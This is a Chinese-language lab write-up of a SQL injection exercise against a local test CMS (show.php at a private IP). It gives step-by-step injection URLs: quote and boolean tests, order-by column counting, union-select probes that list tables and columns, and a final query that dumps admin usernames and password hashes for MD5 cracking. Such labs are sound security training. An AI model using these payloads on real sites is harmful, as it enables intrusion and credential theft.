实验——SQL注入
目录
利用SQL注入,将cms的后台管理的密码和用户**出来
目标系统:cms网站
操作工具:hackbar
判断是否有回显
根据变换id,数据库中的内容是否回显在网页中判断
http://192.168.6.134/cms/show.php
?id=33
http://192.168.6.134/cms/show.php
?id=34
判断数据库是否有报错
在id后加单引号
判断是字符型还是数字型
给id加单引号,提交之后有错误提示
当错误提示中参数左右有单引号和双引号时为字符型
当数字参数左右两边没有引号时就为数字型。
该网站错误中没有数字参数显示出,为数字型。
判断是否有布尔类型状态
http://192.168.6.134/cms/show.php
?id=34 and 1=2
1=2为假,新闻内容不显示,证明有布尔类型状态
判断列数
利用order by进行判断,当根据第16列进行排序时,页面显示有错误,得出有15列
判断显示位
http://192.168.6.134/cms/show.php
?id=34 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
判断第3和11个字段是显示位
输出数据库的名字
http://192.168.6.134/cms/show.php
?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
查询所有的表名
http://192.168.6.134/cms/show.php
?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables where table_schema=database()
字段编码不同出现问题的解决方法
hex(group_concat(table_name)):将该字段转换成十六进制,结果再转为字符串得到所有表。
http://192.168.6.134/cms/show.php
?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,hex(group_concat(table_name)),
12,13,14,15 from information_schema.tables where table_schema=database()
获取字段名
获得cms_users中的字段名
http://192.168.6.134/cms/show.php
?id=34 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,hex(group_concat(column_name)),
12,13,14,15 from information_schema.columns where table_name="cms_users"
获得字段内容
http://192.168.6.134/cms/show.php
?id=34 and 1=2 union select 1,2,group_concat(username),4,5,6,7,8,9,10,group_concat(password),
12,13,14,15 from cms_users
MD5解密